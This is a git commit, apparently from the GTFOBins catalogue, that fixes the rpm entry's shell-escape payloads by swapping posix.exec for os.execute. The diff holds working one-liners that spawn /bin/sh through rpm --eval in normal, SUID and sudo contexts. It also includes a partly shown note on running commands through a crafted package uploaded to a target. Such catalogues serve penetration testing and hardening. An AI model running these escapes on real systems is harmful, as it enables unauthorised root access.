Use os.execute instead of posix.exec in rpm

From rpm versions 4.9.0 and on, posix.exec() will return an error unless called
from a child process created with posix.fork(). os.execute() may be used
instead.

This change is documented in these two resources:

- http://rpm.org/user_doc/lua.html
- https://rpm-packaging-guide.github.io/

Close #53.
This commit is contained in:
brian 2019-02-14 12:29:22 +01:00 committed by Andrea Cardaci
parent 52a2f4cdc7
commit 3bd955e8cc

View File

@ -1,11 +1,11 @@
---
functions:
shell:
- code: rpm --eval '%{lua:posix.exec("/bin/sh")}'
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
suid:
- code: ./rpm --eval '%{lua:posix.exec("/bin/sh", "-p")}'
- code: ./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'
sudo:
- code: sudo rpm --eval '%{lua:posix.exec("/bin/sh")}'
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: |
It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```